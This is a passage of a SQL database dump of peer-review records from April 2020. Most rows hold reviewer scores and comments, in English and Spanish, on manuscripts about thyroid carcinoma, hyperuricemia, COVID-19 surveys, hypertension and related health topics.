','2020-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1362,7415,3675,NULL,'2','r','N','Y','Y','•	Author needs to go through the entire manuscript, check spelling, grammar, syntax and to assure that it is concise, correct, clear and punctual.( The language of the Whole Manuscript is in need to  be revised. some paragraphs were completely un understandable).  \r\nPatients and methods\r\n•	Author needs to describe in the Methodology, study design, study type, study setting, inclusion criteria and exclusion criteria (Observation study, quantitative study, case series, etc…\r\nResults \r\n•	(In 167 patients of papillary carcinoma (average age: 42.7+/-16.0ys, male: 47, female 120: (female ratio 1:2.5).This sentence needs to be put in the Patients and methods.\r\nConclusion:\r\n•	Needs to be clear  and brief \r\nIntroduction\r\n•	(The differentiated thyroid carcinomas have a well favorable course that relative to another differentiated thyroid tumor).Unclear sentence; needs revision.\r\n•	(Certain diagnostic procedures are unusual or unsuitable to use routinely, because of either their high cost such as CT, MRI, PET,). CT scan is essential for tumor staging ; Otherwise the optimal surgery will be jeopardized.\r\n•	(The long-term good prognosis of differentiated thyroid carcinomas is still unknown reasons).The reason is that the well differentiated carcinoma is less invasive.\r\n•	The last paragraph is missing citation with references.\r\nAim\r\nOur aim explains to the following questions:\r\n•	What prognostic factors influence the long-term survival in patients with differentiated thyroid carcinoma? Author must add the word (well) to differentiated as he is not including the poorly differentiated thyroid carcinoma in is study.\r\n•	(The tumor mass size, distal metastasis and lymph nodes number and metastasis) .Those factors had  definitely a bad impacts on the patient as proved before . \r\n•	For comparism ; there is  a need for  control group.\r\n\r\n\r\n•	Nothing was mentioned about the Thyroid imaging reporting and data system (TI-RADS) for this series. If this was not used ; Author need to refer to that and mention the reason why this was not used in this series of cases.\r\nResult\r\n•	In Papillary carcinomas. Nothing was mentioned about neck dissection, what was the procedure in all the cases? Was it radical or modified? \r\n•	The result was discussed in a disorganized manner. Needs to be organized.\r\n•	The use of abbreviations like: Met. Node. Multif. Infiltr. Surg. n.s... and others should be written in full the first time they are used in the manuscript.\r\nTables\r\n•	Table 5 Prognostic factors affecting survival Author. The table needs to be written in an organized manner. \r\nDiscussion\r\n•	(Cancer patients usually surgically treated at earlier stages as the advancement and widespread of fine-needle aspiration biopsy and ultrasound-guided aspiration cytology last decades. So, with the increasing the patient’s numbers with papillary carcinomas, the proportion of stage T4 increased).There is a discrepancy in this paragraph. Author needs to clarify this.\r\nReferences \r\n•	The citation of references were not clear ( Author can use superscript).\r\n•	References cited represent a good spread in terms of year of publication and number. But most of them are old references. Author needs to choose an up to date references.  \r\n•	Reference 24 was mentioned twice (yet they were two different references). \r\n•	References need to follow one style or one format.\r\n•	The references cited in the paper were not listed in ascending pattern in relation to citation. And some of the citation were missed \r\nThe manuscript contains no pictures (no intraoperative pictures, no coronal CT sections with contrast)\r\nAuthor needs to declare any conflict of interest \r\n','•	Author needs to go through the entire manuscript, check spelling, grammar, syntax and to assure that it is concise, correct, clear and punctual.( The language of the Whole Manuscript is in need to  be revised. some paragraphs were completely un understandable).  \r\nPatients and methods\r\n•	Author needs to describe in the Methodology, study design, study type, study setting, inclusion criteria and exclusion criteria (Observation study, quantitative study, case series, etc…\r\nResults \r\n•	(In 167 patients of papillary carcinoma (average age: 42.7+/-16.0ys, male: 47, female 120: (female ratio 1:2.5).This sentence needs to be put in the Patients and methods.\r\nConclusion:\r\n•	Needs to be clear  and brief \r\nIntroduction\r\n•	(The differentiated thyroid carcinomas have a well favorable course that relative to another differentiated thyroid tumor).Unclear sentence; needs revision.\r\n•	(Certain diagnostic procedures are unusual or unsuitable to use routinely, because of either their high cost such as CT, MRI, PET,). CT scan is essential for tumor staging ; Otherwise the optimal surgery will be jeopardized.\r\n•	(The long-term good prognosis of differentiated thyroid carcinomas is still unknown reasons).The reason is that the well differentiated carcinoma is less invasive.\r\n•	The last paragraph is missing citation with references.\r\nAim\r\nOur aim explains to the following questions:\r\n•	What prognostic factors influence the long-term survival in patients with differentiated thyroid carcinoma? Author must add the word (well) to differentiated as he is not including the poorly differentiated thyroid carcinoma in is study.\r\n•	(The tumor mass size, distal metastasis and lymph nodes number and metastasis) .Those factors had  definitely a bad impacts on the patient as proved before . \r\n•	For comparism ; there is  a need for  control group.\r\n\r\n\r\n•	Nothing was mentioned about the Thyroid imaging reporting and data system (TI-RADS) for this series. If this was not used ; Author need to refer to that and mention the reason why this was not used in this series of cases.\r\nResult\r\n•	In Papillary carcinomas. Nothing was mentioned about neck dissection, what was the procedure in all the cases? Was it radical or modified? \r\n•	The result was discussed in a disorganized manner. Needs to be organized.\r\n•	The use of abbreviations like: Met. Node. Multif. Infiltr. Surg. n.s... and others should be written in full the first time they are used in the manuscript.\r\nTables\r\n•	Table 5 Prognostic factors affecting survival Author. The table needs to be written in an organized manner. \r\nDiscussion\r\n•	(Cancer patients usually surgically treated at earlier stages as the advancement and widespread of fine-needle aspiration biopsy and ultrasound-guided aspiration cytology last decades. So, with the increasing the patient’s numbers with papillary carcinomas, the proportion of stage T4 increased).There is a discrepancy in this paragraph. Author needs to clarify this.\r\nReferences \r\n•	The citation of references were not clear ( Author can use superscript).\r\n•	References cited represent a good spread in terms of year of publication and number. But most of them are old references. Author needs to choose an up to date references.  \r\n•	Reference 24 was mentioned twice (yet they were two different references). \r\n•	References need to follow one style or one format.\r\n•	The references cited in the paper were not listed in ascending pattern in relation to citation. And some of the citation were missed \r\nThe manuscript contains no pictures (no intraoperative pictures, no coronal CT sections with contrast)\r\nAuthor needs to declare any conflict of interest \r\n','2020-04-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1366,12019,3698,NULL,'4','3','n','m','n','Página 5:\r\n la secreción y reabsorción del ácido úrico no es en el túbulo contorneado distal, sino en diferentes partes del túbulo contorneado proximal.\r\nPágina 10:\r\na-b: la acción de los diuréticos no es solo por la competencia con el transportador. Infuyen otros factores (hypovolemia y elevación de angiotensina II) (Hyndman et al. Urate handling in the human body Curr Rheumatol Rep 2016; 18-34)\r\nd: la ciclosporina A eleva el ácido úrico por una disminución de la secreción tubular (Marcer R t al. Influence of CyA on renal hnadling of urate: Transpl Int 1992; 5 (suppl 1): S81-3\r\n	La referencia que incluyen es un estudio en ratas para valorar la nefrotoxicidad.\r\n','El trabajo hace una buena revisión de la hiperuricemia, pero se enfoca demasiado en los transportadores y hay otras complicaciones que podrian estar asociadas a la hiperuricemia y que deberían mencionarse. Se considera un marcador de riesgo cardiovascular y hay estudios epidemiológicos que lo corroboran. También hay estudios sobre tratamiento de la hiperuricemia como factor para intentar reducir el riesgo vascular. Creo que aunque sean contradictorios, deberían incluirse.\r\nPor lo demás, me parece que la actualización es aceptable\r\nUn saludo y gracias por contar conmigo','2020-04-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1367,11519,3786,NULL,'4','g','y','y','y','good topic ','now a days common problem','2020-04-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1368,11961,3777,NULL,'g','G','y','y','y','English needs to be corrected','','2020-04-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1369,9803,3495,NULL,'4','r','n','y','y','Hi \r\ndear author \r\nalthough this paper isn\'t  about the novel topic  but paper include important information\r\nIn my review, you should revise  your English writing mistake ','','2020-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1371,6238,3753,NULL,'1','G','N','Y','Y','Interesting attempt to describe the importance of hospital waste! But your paper unfortunately does not provide any new information. It is not clear what was the aim of this paper, research question, methods to get the results and there is therefore in principle no results and discussion part. The issue of hospital wast has been addressed in several high quality published manuscripts. ','This is a paper on level of a bachelor exam essay! There is no structure in the manuscript, no aims declared. I do not believe it could be improved via revisions; it would need a full re-writing including following the standard structure of scientific publications. ','2020-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1373,8997,2645,NULL,'6','6','6','6','6','Well-structured manucrist with evidence relevant to the object of investigation','Cohesive and objective manuscript;\r\nWell-designed methodology;\r\nThe conclusion responds to the object of investigation.','2020-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1374,8997,2756,NULL,'6','6','5','6','5','The study design is relevant.','The manuscript is relevant and deserves to be published.','2020-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1375,8997,3713,NULL,'6','5','5','5','5','The manucrist is relevant, needing only a greater foundation with current evidence.','The manuscript deserves to be published.','2020-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1379,10685,3713,NULL,'5','g','d','m','y','Dear Editor,\r\n\r\nManuscript well organized, and I recommend to publish it.\r\n\r\nYours sincerely\r\n','','2020-04-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1380,11520,3786,NULL,'4','G','N','Y','Y','Good work keep it up','','2020-04-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1387,10684,2838,NULL,'4','g','y','y','y','( 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1388,10684,3713,NULL,'4','g','y','y','y','( 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1389,10684,3635,NULL,'4','g','y','y','y','( 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1393,11714,3780,NULL,'4','G','Y','Y','N','First of all ,I would like appreciate the author in contribution in this COVID 19. It needs reversion in some part of the paper. I already putted my comment in detail in each parts.\r\nso, it is important to address the comments.for instance abstract section needs major reversion, need to conclusion and recommendations.','Hopefully this paper is interesting even if some parts needs revision ,as you know the recent global challenge is COVID 19\r\nSO, it is the recent information for readers.','2020-04-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1395,12023,3546,NULL,'5','g','y','y','y','El caso clínico del paciente pediátrico de PKAN fue bien evaluado clínicamente y presentado. La discusión se describió muy bien por qué eligieron el baclofeno y el trihexifenidilo en lugar de L-Dopa. Recomiendo este manuscrito para publicación','El caso clínico del paciente pediátrico de PKAN fue bien evaluado clínicamente y presentado. La discusión se describió muy bien por qué eligieron el baclofeno y el trihexifenidilo en lugar de L-Dopa. Recomiendo este manuscrito para publicación','2020-04-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1397,11714,3785,NULL,'3','G','D','Y','Y','This title is a public health important but it needs revision\r\n1. Revise the abstract section as putted in detail in main doc\r\nPut this background  before aim\r\nPlease, be short back ground and add on public significance of hypertension. No need of presenting detail of other finding. Moreover, add rationale of the study in on sentence\r\nPut this before aim\r\nPlease, be short back ground and add on public significance of hypertension. No need of presenting detail of other finding. Moreover, add rationale of the study in on sentence\r\nPlease, kindly add  strong conclusion and recommendation in one to two sentence \r\n2.Where is Ethical clearance? You said the study design was experimental\r\nPlease, put any approved evidence from any organized IRB???\r\n3. Please, add pre and post experimental SPSS result in detail in table and graph\r\n4.In Discussion& conclusion section: You putted the result with literature, but no comparison. In discussion section it needs\r\nFirst put your findings, and then present consistent finding anywhere in the globe, and your local context ,moreover add contradict finding with your study\r\n5.I have not seen any limitation in your study? It is expected in any study, please write in genuine\r\n6.What is your recommendation for this affected subjects? And also policy makers and others? and strong conclusion?\r\n7. Please, correctly adhere Vancouver style,,,,,\r\n8. Please, use table format, where, when, what,,,,    and see all detail comments in main doc\r\n','As you know, the current global and local context based study report have shown in hypertension is very rampant challenges,so the recent study has a key role in contribution of prevention and reducing strategies. However, I have seen all  the part of doc repeatedly and slowly. Unfortunately, I have not seen ethical clearance, because the study was conducted in human subject and also experimental study design used. I advise you to request the author, to bring ethical clearance, because, WHO and global health partners approved regulation for ethical principles.\r\nOn other side, If  the authors revise the comments, I believe it is a good paper. For detail I have attached the main doc in your email. Thank you . Good day!\r\n','2020-04-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1406,12322,3577,NULL,'3','g','y','y','y','REVIEW COMMENT\r\n\r\n1-       The study language is extremely difficult to follow with very high frequency of improper sentence structure, wrong wording and often having poor scientific terminology\r\n\r\n2-       The results are well written however the discussion has a large amount of irrelevant text and information which adds nothing to the information portrayed by the study\r\n\r\n3-       There is a mention of the study being a systematic review, however, the entire study prior to that has no evidence to show it has analyzed or selected other studies using criteria then applied that criteria to find an outcome. It indicates only that it has analysed the surveys that it detailed in the methodology section.\r\n\r\n4-       There is discussion regarding interventions in the study despite not detailing what these interventions are properly.\r\n\r\n5-       Overall, there is no clear outcome to the study and very difficult to understand the discussion of results in the current form\r\n\r\n \r\n\r\nRecommendations\r\n\r\n1-       Needs thorough review and revision with language and grammar/sentence structure before publication\r\n\r\n2-       The results tables need to be formatted clearly for easy viewing\r\n\r\n3-       The type of study needs to be consistently represented throughout the article\r\n\r\n4-       The discussion section needs more specific information and detail, removing the irrelevant aspects which add unnecessary information\r\n\r\n','REVIEW COMMENT\r\n\r\n1-       The study language is extremely difficult to follow with very high frequency of improper sentence structure, wrong wording and often having poor scientific terminology\r\n\r\n2-       The results are well written however the discussion has a large amount of irrelevant text and information which adds nothing to the information portrayed by the study\r\n\r\n3-       There is a mention of the study being a systematic review, however, the entire study prior to that has no evidence to show it has analyzed or selected other studies using criteria then applied that criteria to find an outcome. It indicates only that it has analysed the surveys that it detailed in the methodology section.\r\n\r\n4-       There is discussion regarding interventions in the study despite not detailing what these interventions are properly.\r\n\r\n5-       Overall, there is no clear outcome to the study and very difficult to understand the discussion of results in the current form\r\n\r\n \r\n\r\nRecommendations\r\n\r\n1-       Needs thorough review and revision with language and grammar/sentence structure before publication\r\n\r\n2-       The results tables need to be formatted clearly for easy viewing\r\n\r\n3-       The type of study needs to be consistently represented throughout the article\r\n\r\n4-       The discussion section needs more specific information and detail, removing the irrelevant aspects which add unnecessary information\r\n\r\n\r\n\r\n','2020-04-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1409,8997,3823,NULL,'6','6','6','5','5','the manucrist is well delineated, suitable for publication','the manucrist is well delineated, suitable for publication','2020-04-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1414,11714,3809,NULL,'3','g','y','y','N','This title is  an important in public health,but it needs improvement in the following area:\r\n1. Background part please add global and local context burden\r\n2. Kindly consider rationale for your study\r\n3.Sample size determination, hopefully this might not be full description, so t needs, put formula and assumption\r\nLike d, Z,P(proportional you take), please, add your sample size determination in detail\r\n4.Where is your sampling technique?? Sampling frame?\r\n5.Who collected data? \r\n6.What was the finding in pre -test? How many samples included in this pre-test?\r\n7.Data analysis part. It is not clear, please do it in detail, like data entered in what? Version  SPSS? What type of data analysis you have done, ANOVA? Student –t test? Logistic regression? Or what? Descriptive study have you done it? Is there any association between dependent variable and independent variable?\r\n8.Operational def: Please, put clear operational definition for knowledge? Practice? How may questions do you interviewed ? categorize based on your questionnaires’’? Have you used scale?\r\n9.Where is the ethical considerations? Please  put approved letter? From IRB?\r\n10.Result section : have you used composite score for knowledge & practice\r\n11.Please ,kindly put any your  study limitation?','\r\nThis HF based study is an important to  fill in literature gap in the study area as well as other parts.\r\nHowever, it needs major revision. I recommend the author to revise the  comments. In general the title is very good but it lack paper quality, mean that, it has not studied  associated factor,\r\neven it lack elementary methodological issues. ','2020-04-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1416,12403,3798,NULL,'4','g','d','y','y','I would like to mention the following comments:\r\n\r\n1- Title: It is not completely clear. Were FMGs graduated in USA or outside USA? It might be better to clarify that the aim is to explain about situation of FMG in USA. \r\n\r\n2-Many of sentences are the facts that can be found in the news.\r\n\r\n3- Is \"10,000 thousands \" equal to ten million?\r\n\r\n4- Only after line 52, FMG have been discussed.  \r\n\r\n5- Last paragraph needs to be corrected: \" ...support outside side the country ..\"\r\n\r\nGood Luck','I would like to mention the following comments:\r\n\r\n1- Title: It is not completely clear. Were FMGs graduated in USA or outside USA? It might be better to clarify that the aim is to explain about situation of FMG in USA. \r\n\r\n2-Many of sentences are the facts that can be found in the news.\r\n\r\n3- Is \"10,000 thousands \" equal to ten million?\r\n\r\n4- Only after line 52, FMG have been discussed.  \r\n\r\n5- Last paragraph needs to be corrected: \" ...support outside side the country ..\"\r\n\r\nGood Luck','2020-04-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1417,12403,3804,NULL,'3','R','Y','Y','y','I would like to mention the following comments:\r\n\r\n1- Abstract: Background: It is really aim.\r\n\r\n2- Abstract: Method: It is better to explain a little more.\r\n\r\n3- Materials and methods: \"... this chapter...\" must be corrected.\r\n\r\n4- It might be better to mention that the study is \"comparation cross-sectional study\", instead of \"case study\". Because Nurses are not case.\r\n\r\n5- Population and sampling: The number of population and sampling method is not known.\r\n\r\n6- The number of people (13 nurses and 64 patients) was not mentioned in method section. Especially for nurses, it was not possible to have many tables. \r\n\r\n7- The number of 4 men and 9 women (nurses) is too small to have two group.\r\n\r\n8- The comparability of 13 and 64 is questionable.\r\n\r\n9-  Discussion is too short.\r\n\r\n10- It might be better to have more references.\r\n\r\nGood Luck','I would like to mention the following comments:\r\n\r\n1- Abstract: Background: It is really aim.\r\n\r\n2- Abstract: Method: It is better to explain a little more.\r\n\r\n3- Materials and methods: \"... this chapter...\" must be corrected.\r\n\r\n4- It might be better to mention that the study is \"comparation cross-sectional study\", instead of \"case study\". Because Nurses are not case.\r\n\r\n5- Population and sampling: The number of population and sampling method is not known.\r\n\r\n6- The number of people (13 nurses and 64 patients) was not mentioned in method section. Especially for nurses, it was not possible to have many tables. \r\n\r\n7- The number of 4 men and 9 women (nurses) is too small to have two group.\r\n\r\n8- The comparability of 13 and 64 is questionable.\r\n\r\n9-  Discussion is too short.\r\n\r\n10- It might be better to have more references.\r\n\r\nGood Luck','2020-04-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1418,9537,3529,NULL,'6','y','y','y','n','1.the study well depicted about enzyme protein by  molecular docking analysis.\r\n2. based on the theoretical bioinformatic information but definitely it may helps you out in practical approach \r\n 3.HTML, PHP5, and JavaScript including python has been used well enough to understand the concept of novel coronavirus protease enzyme inhibitors','','2020-04-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1421,10967,3851,NULL,'5','G','Y','Y','Y','Good','Good','2020-04-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1423,9532,3777,NULL,'4','r','d','y','y','Comments:\r\n•	In the RESULTS section there is a statement that, \'Table 1 demonstrated that 265 (65 %) of the respondents were males while 135 (35 %) were females\'. BUT Table 1 demonstrated that 260 of the respondents were males while 140 were females. Which is correct??????\r\n•	Data in Table 1: Socioeconomic and demographic variables among respondents, were repeated in the text in the RESULTS section.\r\n•	Explain/ Describe / Clarify  what is  University Specialty , because In the RESULTS there is a statement that,  \'In this study it is found that 2.75% had primary education,   24.5% had high school level of education and 72.75 % were college graduates\'. If so, how come the total comes to 400 of  72.75 % respondents\r\n•	In RESULTS there is a statement that, \'The last group was 20-44 in which 55.4 %\', BUT 20-44 group cannot be found in the  table\r\n•	Data in Tables 2, 3, 4, 5 and in Figure 1 are really bias/ unfairness, because all the 20 questions in the questionnaire seem to be having correct answers. If the questionnaire include few wrong/ incorrect answers the results may be differ.\r\n•	In the text there is a statement that ‘Our findings suggest that Syrians of a relatively high level of socioeconomic status have had good knowledge and awareness of COVID-19’. Do not use the term ‘our’ in scientific writing. Use the scientific writing guidelines\r\n•	In general, all the conclusions made were on the basis of 20 questions in the questionnaire, and it seems/ looks / appears to be having correct answers. If the questionnaire include few wrong or incorrect answers the results and the conclusions may be vary.\r\n','Comments:\r\n\r\n•	In general, all the conclusions made were on the basis of 20 questions in the questionnaire, and it seems/ looks / appears to be having correct answers. If the questionnaire include few wrong or incorrect answers the results and the conclusions may be vary.\r\n','2020-04-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1424,7021,3644,NULL,'3','R','Y','Y','Y','Abstract may be revised to add description about your findings in result section. ADME prediction needs to be explained more in detail. Figures and Tables are missing. Proofreading such as putting a space in in vivo is needed.','','2020-04-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1428,5794,3577,NULL,'2','g','n','y','y','English Language must be completely revised and abstract is so unclear that i suggest to rewrite it.\r\nThe study used a mixed qualitative /quantitative method to asssess perception of population and health workers about national vaccination plan.\r\nUsually the qualitative section (focus group) preceeds the quantitative one, as in qualitative research there is no a priori research question but the method itself generatates a question to be tested with quantitative methods. Moreover results of the focus group could be reported, using , for example, analysis of recurremce or conceptual maps.\r\nThe estimation of the sample size for the quantitative section is unclear and probably the sample is to small to adequately represents the perception of the population under study and to reach statistical significance. Moreover we do not know what is the respondence rate.\r\nThe validation process of the questionnaire is unclear: was a test retest used and cappa of Cohen estimated?\r\nResults should be presented as number, percentages and their 95%CIs, in order to give information about precision of results.\r\nTables are poor but at the same time difficult to read: they should be totally re edited.\r\nFurther analysis could be interesting, for example the estimate of prevalence odds ratio (POR) of perception versus age or residence area, so we recomend the use of a logistic regression model. By this way the study could have more scientific soundness and more relevanst conclusion for health system could be drawn.','','2020-04-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1429,5794,3577,NULL,'2','g','n','y','y','English Language must be completely revised and abstract is so unclear that i suggest to rewrite it.\r\nThe study used a mixed qualitative /quantitative method to asssess perception of population and health workers about national vaccination plan.\r\nUsually the qualitative section (focus group) preceeds the quantitative one, as in qualitative research there is no a priori research question but the method itself generatates a question to be tested with quantitative methods. Moreover results of the focus group could be reported, using , for example, analysis of recurremce or conceptual maps.\r\nThe estimation of the sample size for the quantitative section is unclear and probably the sample is to small to adequately represents the perception of the population under study and to reach statistical significance. Moreover we do not know what is the respondence rate.\r\nThe validation process of the questionnaire is unclear: was a test retest used and cappa of Cohen estimated?\r\nResults should be presented as number, percentages and their 95%CIs, in order to give information about precision of results.\r\nTables are poor but at the same time difficult to read: they should be totally re edited.\r\nFurther analysis could be interesting, for example the estimate of prevalence odds ratio (POR) of perception versus age or residence area, so we recomend the use of a logistic regression model. By this way the study could have more scientific soundness and more relevanst conclusion for health system could be drawn.','','2020-04-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1432,10854,3577,NULL,'1','d','n','m','n','- Major points in the article which needs clarification, refinement, reanalysis, rewrites and/or additional information and suggestions for what could be done to improve the article.  \r\n\r\n1. The article is too long, so it needs to remove irrelevant information.\r\n2. The article must undergo extensive editing by an English native speaking academic editor also should check it by grammar. \r\n3. The study design appropriate to answer the aim but this study did not add a valuable aspect to the topic.\r\n4. The article must undergo extensive editing by an English native speaking academic editor also should check it by grammar.\r\n5. The article presents what known about this topic clearly but did not outline the research question clearly.\r\n6. In the introduction, authors present and focus on the research results without mentioned to the research methods and algorithm. So, it should put in the results section.\r\n4. In related works, authors require to criticized other works that have been done (strengthen and limitations if any?) rather than present their methods.\r\n8. In the method section, authors must mention figuring 1 before presents it to be clear to the reader.\r\n9. The results data that presented in an appropriate way like Tables and figures relevant and clearly presented, Titles, columns, and rows labelled correctly and clearly but there is a limit to present clearly about what is a statistically significant result also it is not clear about what is a practically meaningful result.\r\n10. The results do not discuss from multiple angles and placed into context without being over-interpreted.','Dear Editor,\r\nKindly, I have been finished the submission article and attached our decision, and I would like to give me a certificate of reviewing this article, thank you,\r\nRegards,\r\nNabeel.','2020-04-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1437,9532,3863,NULL,'4','r','d','m','y','Comments\r\n•	Figures were not referred in text\r\n•	Spelling mistakes : \r\n1. Indian Council Of Medical Reserch in india\r\n2. The search terms used wer COVID-19\r\n3. Table.1. Comparsion of Characteristics\r\n4. etc….\r\n•	Title of the \"Table .2 .Drug treatment available against Novel Coronavirus-induced Pneumonia\' should appear on top of the table.\r\n•	In the text there is a statement that\r\n 1. ‘.\'We expect to see conclusive drug treatment and vaccine against COVID-19 in the anytime soon, until then prevention is the gold standard approach against the novel corona virus\' \r\n2. We performed a literature search using ProQuest, MEDLINE, and PUBMEDGoogle Scholar search engines.The search terms used wer COVID-19 , Coronaviruses, outbreak, “respiratory illness”, “transmission”, and “infection control and management”.After reading the article titles and abstracts ,full text, we included 43 articles based on the quality of the studies. \r\nDo not use the term ‘we’ in scientific writing. Use the scientific writing guidelines\r\n•	The following references were found in the text, but not in the reference list \r\n1. Yao X, Ye F, Zhang M, Cui C, Huang B, Niu P, et al\r\n2. Huang et al. (2020)\r\n','minor revisions','2020-04-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1439,11519,3886,NULL,'5','G','Y','Y','n','it the basic need of today that the impact of physical therapy in the hyper tensive patients and heart patient. PT plays a vital role in the rehabilitation of the patients having pre operative management as well as post operative.','nill','2020-04-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1443,11876,3808,NULL,'3','G','N','M','Y','1.	the title is good and informative\r\n2.	the abstract is too long, please revise it\r\n3.	KEYWORDS needs revision\r\n4.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n5.	the text is well arranged but the logic needs clarification\r\n6.	why you did not do genetic testing?\r\n7.	there are many grammatical errors in this article\r\n8.	you can use www.grammarly.com \r\n9.	the related concepts are introduced, except genetic testing\r\n10.	the readability is insufficient\r\n11.	the proposed paper is not novel\r\n12.	no rigorous derivation of formulas/ equations work well\r\n13.	the theoretical analysis in this article is acceptable \r\n14.	all tables are not enough to summarize the results for presentation to the readers\r\nthese tables of this patient measures her abilities, not confirm genetic ground\r\n15.	all figures/tables are well referred to in the text\r\n16.	the reference section contains some old references\r\n17.	please use google scholar search engine then set it since 2016\r\n18.	Bias is present\r\n19.	No Plagiarism \r\n20.	No Funds\r\n21.	Conflict of interest is not mentioned\r\n22.	Ethical committee is mentioned, but still the photo is very important issue ','Questions to the authors:\r\n1.	The patient photo is important in this paper, can you put it, please.\r\n2.	Why you did not do genetic test?\r\nTo the editor:\r\nThis is a medium expert author\r\n','2020-04-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1444,7021,3864,NULL,'4','R','Y','Y','Y','This study demonstrates the possibility of polydatin-modified nanoparticles in diabetes treatment. Summary may be revised to show characteristics of PF, and its contribution in polydatin nanoparticles. Proofreading is needed. ','','2020-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1466,12274,3529,NULL,'1','R','Y','M','N','The manuscript of Sarkar et al. deals with a topic of general interest. In silico studies of the 2019-nCoV protease can efficiently support the discovery of new antiviral compounds. \r\nHowever, the work has not yet reached a stage at which publication is justified, more results are needed and more corrections needed to grammar, style, or spelling.\r\nThe English is poor: the main text often has proper names in lowercase or meaningless phrases (I.e. page 7, line 4: “In the event of protein–ligand complex steadiness, the person amino buildups assume pivotal job”).\r\nThe links to web pages should be inserted in the ‘References section’ and not within the main text.\r\nOverall style and presentation should be improved: the resolution of the molecular sketches reported in Figure 3 and Table 1 is too low.\r\nPage 4, line 2: Am I missing something? “…assimilation, appropriation, digestion and discharge (ADME)” or Absorption, Distribution, Metabolism, and Excretion.\r\nDimeric assembly is essential for the activity of the SARS-CoV-2 (2019-nCoV) main protease; did the authors consider using such structures for structured-based virtual screening (see doi: 10.1126/science.abb3405)?\r\nBased on the above considerations/comments, the manuscript has not reached a stage at which publication is justified in a high-quality journal as International Journal of Drug Development and Research. \r\n','The idea that guides the work reported is good but overall style and poor English (the main text seems translated with Google) does not guarantee the minimum standards for publishing.\r\nI indicated only a few of the critical points because a complete list requires the rewriting of the text.\r\n','2020-04-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1470,11720,3787,NULL,'3','R','Y','Y','N','The paper shows novel work and has results worth of application to real 